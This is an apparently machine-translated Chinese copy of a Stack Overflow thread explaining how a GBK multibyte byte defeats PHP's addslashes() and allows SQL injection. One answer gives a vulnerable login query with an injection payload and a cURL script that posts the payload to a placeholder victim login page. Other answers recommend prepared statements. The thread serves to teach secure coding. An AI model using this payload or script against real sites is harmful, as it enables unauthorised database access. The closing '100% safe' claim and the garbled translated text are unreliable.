在PHP中,我知道mysql_real_escape
比使用addslashes
更安全。
但是,我找不到addslashes
允许SQL注入发生的情况的示例。
有人可以提供一些例子吗?
答案 0 :(得分:43)
好吧,here's the article you want。
基本上,攻击的工作方式是让addslashes()
在多字节字符的中间加一个反斜杠,这样反斜杠就会成为有效多字节序列的一部分而失去意义。
文章中的一般警告:
这种类型的攻击可以通过任何字符编码来实现 有一个有效的多字节字符以
0x5c
结尾,因为 可以欺骗addslashes()
创建有效的多字节字符 而不是逃避随后的单引号。 UTF-8不合适 这个描述。
答案 1 :(得分:4)
Chris Shiflett清楚地解释了下面的示例,如果您在数据库中使用GBK编码时尝试它,那么当然会有效。即使我尝试过它,也证明了,即使它们非常少,也有机会进行sql注入,但是具有良好知识和能力的人可以轻松注入。这是一个例子......
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
尽管通常会认为使用addslashes()或magic_quotes_gpc有点安全,但使用GBK会使它们几乎无用。以下PHP cURL脚本将能够使用注入,我希望这将帮助您更多地理解:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
答案 2 :(得分:3)
作为答案读者的补充:这个MySQL错误已经修复:)
此外,使用预准备语句始终是一种好习惯。它是您可以解决查询的最无漏洞的方式(在一些用例中,性能最高)。它会让你免于这个缺陷。
答案 3 :(得分:1)
mysql_real_escape_string() versus Prepared Statements清楚地解释了 mysql_real_escape_string()并非100%安全。
使用 mysql_set_charset(&#39; GBK&#39;)替换 mysql_query(&#34; SET CHARACTER SET&#39; GBK&#39;&#34;)< / strong>,mysql_real_escape_string()可以100%安全。